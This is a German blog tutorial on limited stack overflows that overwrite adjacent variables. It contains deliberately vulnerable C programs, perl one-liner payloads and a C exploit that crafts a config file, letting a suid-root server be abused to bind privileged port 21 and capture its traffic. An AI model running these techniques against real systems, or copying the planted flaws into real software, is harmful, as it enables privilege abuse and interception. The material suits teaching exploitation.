Advanced Stack-Bufferoverflows

Eine Art “Tutorial”, welches ich von “frechdachs1337” zugesandt bekommen habe. Ganz nuetzlich, mag es euch daher nicht vorenthalten 😉

tutorial[0] – Einleitung

Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.

Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns überrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann aber nicht bis zur RET kommt sondern
nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann, ja dann muss man kreativ werden!

tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D

  #include 
  #include 
  #include 
  
  int main (int argc, char **argv){
  	char h [] = "/bin/uname";
  	char text[100];
  
  	if(argc > 1)
  		strncpy(text, argv[1], 110);
  	printf("%s\n", h);
  	execl (h,h, (char *)0);
  	return 0;
  }

Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:

  ./test `perl -e 'printf "a"x110'`

aaaaaaaaaa

  ./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`

[LIST DIRECTORY EXECUTED]

Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.

tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D

Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  
  int main(int argc, char **argv) {
  	int s,c, i;
  	socklen_t addr_len;
  	struct sockaddr_in addr;
  	char file_line[60];
  	char recvb[1024];
  	s = socket(AF_INET, SOCK_STREAM, 0);
  	if(atoi(argv[1]) < 1024)
  		return 1338;
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(atoi(argv[1]));
  	addr.sin_family = AF_INET;
  
  	FILE *fp = fopen("prefs.cfg", "r");
  	for(i = 0; i < 65; i++)
  		file_line[i] = getc(fp);
  	fclose(fp);
  
  	bind(s, (struct sockaddr*)&addr, sizeof(addr));
  
  	listen(s, 3);
  
  	addr_len = sizeof(addr);
  	for(;;){
  		c = accept(s, (struct sockaddr*)&addr, &addr_len);
  		recv(c, recvb, sizeof(recvb), 0);
  		printf("%s\n", recvb);
  		close(c);
  	}
  	close(s);
  	return 0;
  }

Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!

Für alle anderen Schwachmaten:

  ....
  struct sockaddr_in addr;
  char file_line[60];
  ....
  FILE *fp = fopen("prefs.cfg", "r");
  for(i = 0; i < ---->65<-----; i++)
  		file_line[i] = getc(fp);
  fclose(fp);

Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?

  ...
  addr.sin_addr.s_addr = INADDR_ANY;
	--->>addr.sin_port = htons(atoi(argv[1]));
	addr.sin_family = AF_INET;
  ...

In addr stehen alle wichtigen Daten zur Verbindung für den Server.
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  int main () {
  	struct sockaddr_in addr;
  	memset(&addr, 0x0, sizeof(addr));
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(21);
  	addr.sin_family = AF_INET;
  	printf("%x\n", addr);
  	return 0;
  }

Dies gibt aus: 0x15000002
Das bedeutet: 0x1500 = Rückgabe von htons()
0x00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0x02 = Die sin_family.

Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.

  #include 
  #include 
  
  int main (){
  	char buffer[66];
  	memset(buffer, 'a', 64);
    buffer[60] = 0x02;
  	buffer[61] = 0x00;
  	buffer[62] = 0x00;
  	buffer[63] = 0x15;
  	FILE *fp = fopen("prefs.cfg", "w");
  	int i;
  	for(i = 0; i < 65; i++)
  		putc(buffer[i], fp);
  	fclose(fp);
  }

Hier unser finaler Log:

  ./filler
  ./victim 5555
  [PACKETE AUF PORT 21]

Ich hoffe dieser wichtige Abschnitt war aüßerst verständlich.

tutorial[3] - Nachwort

Ich verzichte.

3 Replies to “Advanced Stack-Bufferoverflows”

Leave a Reply

Your email address will not be published. Required fields are marked *